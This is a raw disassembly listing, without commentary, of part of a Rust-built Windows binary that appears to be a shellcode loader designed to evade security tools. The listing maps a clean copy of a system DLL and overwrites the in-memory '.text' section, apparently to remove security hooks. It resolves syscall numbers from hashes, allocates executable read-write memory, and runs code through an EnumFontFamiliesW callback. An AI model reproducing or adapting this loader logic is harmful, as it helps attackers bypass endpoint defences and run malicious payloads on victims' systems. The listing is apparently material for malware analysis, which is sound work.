xor r9d, r9d
call sub.kernel32.dll_CreateFileMappingW
mov rsi, rax
mov rcx, rdi
call sub.kernel32.dll_CloseHandle
test rsi, rsi
je 0x10015a3a
mov qword [rsp + 0x20], 0
mov rcx, rsi
mov edx, 1
xor r8d, r8d
xor r9d, r9d
call sub.kernel32.dll_MapViewOfFile
test rax, rax
je 0x10015b26
mov edx, dword [rax + 0x3c]
mov ecx, dword [rdx + rax + 0x50]
cmp rcx, 0x40
jb 0x100160ca
mov r8b, 4
test al, 3
jne 0x1001610b
movzx r9d, word [rax]
cmp r9d, 0x5a4d
jne 0x100160cf
test dl, 3
jne 0x1001610b
cmp edx, 0x1000000
ja 0x100160d4
lea r9, [rdx + 0x88]
cmp r9, rcx
ja 0x100160ca
cmp dword [rax + rdx], 0x4550
jne 0x100160cf
movzx r10d, word [rax + rdx + 0x18]
cmp r10d, 0x20b
je 0x1001592f
mov r8b, 5
cmp r10d, 0x10b
jne 0x1001610b
mov r8d, dword [rax + rdx + 0x54]
cmp ecx, r8d
jb 0x100160ca
cmp r8d, dword [rax + rdx + 0x50]
ja 0x100160d4
movzx r8d, r10w
cmp r8d, 0x20b
jne 0x10016108
mov r8d, dword [rax + rdx + 0x84]
cmp r8d, 0x10
mov r10d, 0x10
cmovb r10d, r8d
shl r10d, 3
add r9, r10
cmp r9, rcx
ja 0x100160ca
movzx r9d, word [rax + rdx + 6]
mov r8b, 7
cmp r9, 0x60
ja 0x1001610b
shl r9, 3
lea r9, [r9 + r9*4]
lea r8, [rdx + r9]
movzx r10d, word [rax + rdx + 0x14]
lea r11, [r10 + r8]
add r11, 0x18
mov r8b, 1
cmp r11, rcx
ja 0x1001610b
add rdx, r10
lea r8, [rax + rdx]
add r8, 0xfffffffffffffff8
xor r11d, r11d
movabs rdi, 0x747865742e
cmp r9, r11
je 0x10015fa4
lea r10, [r11 + 0x28]
cmp qword [r8 + r11 + 0x20], rdi
mov r11, r10
jne 0x100159d0
add rdx, rax
mov r8d, dword [r10 + rdx - 4]
test r8, r8
je 0x10016141
mov r9d, dword [r10 + rdx - 8]
mov r10d, r9d
mov dl, 1
add r10d, r8d
jb 0x10016143
cmp ecx, r10d
jb 0x10016143
mov rcx, qword [rsp + 0xe8]
add rcx, r8
mov qword [0x100cf020], r9
mov qword [0x100cf028], rcx
mov rcx, rax
call sub.kernel32.dll_UnmapViewOfFile
jmp 0x10015b2b
call sub.kernel32.dll_GetLastError
jmp 0x10015b33
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, str.librarycore_srcunicodeunicode_data.rs0123456789abcdeflibrarycore_srcescape.rs
mov rcx, rax
call fcn.1000dd60
jmp 0x1001618a
cmp qword [rsp + 0xb8], 0
mov r8, qword [rsp + 0xa0]
je 0x10015a88
mov rcx, qword [0x100cf0d0]
xor edx, edx
call sub.kernel32.dll_HeapFree
mov rcx, qword [rsp + 0xb0]
call sub.kernel32.dll_CloseHandle
mov dword [rsp + 0x7c], eax
test eax, eax
jne 0x100155dc
call fcn.1004a2e0
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x50], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x80], rax
lea rax, [0x10046220]
mov qword [rsp + 0x88], rax
lea rax, [0x100c9700]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
lea rax, [rsp + 0x80]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], 1
mov qword [rsp + 0x130], 0
lea rcx, [rsp + 0x7c]
lea rdx, [rsp + 0x110]
call fcn.1004aa40
ud2
call sub.kernel32.dll_GetLastError
mov rcx, rsi
call sub.kernel32.dll_CloseHandle
lea rax, [0x100cf028]
mov qword [rsp + 0x50], rax
lea rax, [fcn.1000f7e0]
mov qword [rsp + 0x58], rax
lea rax, [0x100c57d8]
mov qword [rsp + 0x110], rax
mov qword [rsp + 0x118], 1
mov qword [rsp + 0x130], 0
lea r12, [rsp + 0x50]
mov qword [rsp + 0x120], r12
mov qword [rsp + 0x128], 1
lea rsi, [rsp + 0x80]
lea rdx, [rsp + 0x110]
mov rcx, rsi
call fcn.1000d1c0
mov rdi, qword [rsp + 0x80]
mov r13, qword [rsp + 0x88]
mov rbx, qword [0x100cf020]
test rbx, rbx
je 0x10015c0b
lea r15, [rbx*4]
mov rcx, qword [0x100cf0d0]
test rcx, rcx
jne 0x10015be7
call sub.kernel32.dll_GetProcessHeap
test rax, rax
je 0x10015bfc
mov rcx, rax
mov qword [0x100cf0d0], rax
mov edx, 8
mov r8, r15
call sub.kernel32.dll_HeapAlloc
mov r14, rax
test rax, rax
jne 0x10015c11
mov ecx, 4
mov rdx, r15
call fcn.1000cd70
ud2
mov r14d, 4
mov rdx, qword [0x100cf028]
mov qword [rsp + 0x20], 0
mov rcx, qword [rsp + 0xf8]
mov r8, r14
mov r9, rbx
call sub.ntdll.dll_NtReadVirtualMemory
test eax, eax
jne 0x1001604e
mov rdx, qword [0x100cf028]
mov qword [rsp + 0x20], 0
mov rcx, 0xffffffffffffffff
mov r8, r14
mov r9, rbx
call sub.kernel32.dll_WriteProcessMemory
cmp eax, 1
jne 0x1001604e
test rbx, rbx
je 0x10015c7d
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, r14
call sub.kernel32.dll_HeapFree
test r13, r13
je 0x10015c93
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
mov qword [rsp + 0x50], 0
mov r14, qword [rsp + 0xf0]
mov rbx, qword [r14 + 0x10]
mov qword [rsp + 0x80], rbx
mov dword [rsp + 0xb0], 0
lea rdi, [rsp + 0x110]
mov rcx, rdi
mov edx, 0xf783b8ec
call fcn.100162a0
cmp qword [rsp + 0x110], 0
je 0x10016090
movzx ecx, word [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov qword [rsp + 0x110], rbx
mov qword [rsp + 0x30], rdi
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x40], 0x40
mov dword [rsp + 0x38], 0x3000
mov dword [rsp + 0x28], 0
mov r8d, 6
mov r9, 0xffffffffffffffff
call fcn.100013b0
lea rcx, [rsp + 0x110]
mov edx, 0xc3170192
call fcn.100162a0
cmp qword [rsp + 0x110], 0
je 0x100160a0
movzx ecx, word [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
mov rax, qword [rsp + 0x50]
mov rdi, qword [r14]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rax
mov dword [rsp + 0x38], 0
mov r8d, 5
mov r9, 0xffffffffffffffff
call fcn.100013b0
lea rcx, [rsp + 0x110]
mov edx, 0x50e92888
call fcn.100162a0
cmp qword [rsp + 0x110], 0
je 0x100160b0
movzx ecx, word [rsp + 0x118]
mov rdx, qword [rsp + 0x120]
lea rax, [rsp + 0xb0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], r12
mov dword [rsp + 0x30], 0x20
mov r8d, 5
mov r9, 0xffffffffffffffff
call fcn.100013b0
xor ecx, ecx
call sub.user32.dll_GetDC
mov r8, qword [rsp + 0x50]
mov rcx, rax
xor edx, edx
xor r9d, r9d
call sub.gdi32.dll_EnumFontFamiliesW
cmp qword [r14 + 8], 0
je 0x10015e20
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rdi
call sub.kernel32.dll_HeapFree
movaps xmm6, xmmword [rsp + 0x330]
movaps xmm7, xmmword [rsp + 0x340]
movaps xmm8, xmmword [rsp + 0x350]
movaps xmm9, xmmword [rsp + 0x360]
movaps xmm10, xmmword [rsp + 0x370]
movaps xmm11, xmmword [rsp + 0x380]
movaps xmm12, xmmword [rsp + 0x390]
movaps xmm13, xmmword [rsp + 0x3a0]
movaps xmm14, xmmword [rsp + 0x3b0]
movaps xmm15, xmmword [rsp + 0x3c0]
add rsp, 0x3d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp rax, 0x36c
mov edx, 0x36b
cmovb rax, rdx
lea r8, str.librarycore_srcunicodeunicode_data.rs0123456789abcdeflibrarycore_srcescape.rs
mov rcx, rax
call fcn.1000dd60
jmp 0x1001618a
mov eax, 0x23
mov edx, 0x23
lea r8, str.librarycore_srcunicodeunicode_data.rs0123456789abcdeflibrarycore_srcescape.rs
jmp 0x10015a5a
mov eax, 0x23
mov edx, 0x23
lea r8, str.librarycore_srcunicodeunicode_data.rs0123456789abcdeflibrarycore_srcescape.rs
jmp 0x10015ea2
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0xa0], rax
cmp qword [rsp + 0x118], 0
je 0x10015f09
mov rcx, qword [0x100cf0d0]
xor edx, edx
mov r8, rsi
call sub.kernel32.dll_HeapFree
xor eax, eax
mov qword [rsp + 0x110], rax
mov rax, qword [rsp + 0xa0]
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xb8]
mov qword [rsp + 0x120], rax
mov qword [rsp + 0x128], r15
lea rax, [0x100c5848]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x100c5788]
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1000f340
ud2
xor r8d, r8d
mov rax, qword [rsp + 0xc0]
mov qword [rsp + 0x20], rax
mov rcx, r13
mov rdx, qword [rsp + 0x68]
mov r9, rbx
call fcn.100105d0
jmp 0x1001618a
mov ecx, 1
mov rdx, rbp
call fcn.1000cd70
ud2
call fcn.1000cd30
ud2
lea rcx, str.called__Option::unwrap____on_a__None__value_rustc_eb26296b556cef10fb713a38f3d16b9886080f26library_alloc_srccollections_btree_navigate.rsIndex_out_of_bounds
lea r8, [0x100c5830]
mov edx, 0x2b
call fcn.1000ea10
ud2
mov ecx, 1
mov edx, 9
call fcn.1000cd70
ud2
call sub.kernel32.dll_GetLastError
shl rax, 0x20
or rax, 2
mov qword [rsp + 0x110], 0
mov qword [rsp + 0x118], rax
mov rax, qword [rsp + 0xc8]
mov qword [rsp + 0x120], rax
mov rax, qword [rsp + 0xe0]
mov qword [rsp + 0x128], rax
lea rax, [0x100c5860]
jmp 0x10015f42
lea rax, str.C:Users001.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinproc_0.6.4_srcprocessmodule.rs
mov edx, 0x104
mov rcx, r8
mov r8, rax
call fcn.1000e630
ud2
mov rbx, qword [rsp + 0x68]
lea rax, str.library_alloc_src_str.rs_
mov qword [rsp + 0xc0], rax
jmp 0x10015f6c
call fcn.10047490
ud2
lea r8, str.C:Users001.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinproc_0.6.4_srcprocessmod.rs
mov rdx, r14
call fcn.1000e630
ud2
mov eax, 4
jmp 0x10015f0b
mov ecx, 2
mov edx, 0x10
call fcn.1000cd70
ud2
mov ecx, 8
mov rdx, rdi
call fcn.1000cd70
ud2
lea rcx, str.Failed_to_get_SSN
lea r8, [0x100c58c0]
jmp 0x100160be
lea rcx, str.Failed_to_get_SSN
lea r8, [0x100c58a8]
jmp 0x100160be
lea rcx, str.Failed_to_get_SSN
lea r8, [0x100c5890]
mov edx, 0x11
call fcn.1000f520
ud2
mov r8b, 1
jmp 0x1001610b
mov r8b, 5
jmp 0x1001610b
mov r8b, 7
jmp 0x1001610b
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, rbp
call fcn.1000e5b0
jmp 0x1001618a
mov rdx, rbp
mov rcx, rbx
mov r8, qword [rsp + 0xd8]
call fcn.1000e630
jmp 0x1001618a
mov r8b, 6
mov byte [rsp + 0x110], r8b
lea rax, [0x100c5800]
mov qword [rsp + 0x20], rax
lea rcx, str.REASONfreeze_srclib.rs
lea r9, [0x100c5768]
lea r8, [rsp + 0x110]
mov edx, 6
call fcn.1000f340
ud2
xor edx, edx
mov byte [rsp + 0x110], dl
lea rax, [0x100c5818]
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x100c5768]
lea r8, [rsp + 0x110]
mov edx, 0x2b
call fcn.1000f340
ud2
lea r8, str.library_std_src_sys_commonwtf8.rs
mov rcx, rbx
mov rdx, r13
call fcn.1000f090
ud2
mov rdx, rbp
mov rbx, r13
lea rax, str.library_std_src_sys_commonwtf8.rs
mov qword [rsp + 0xd8], rax
jmp 0x100160f3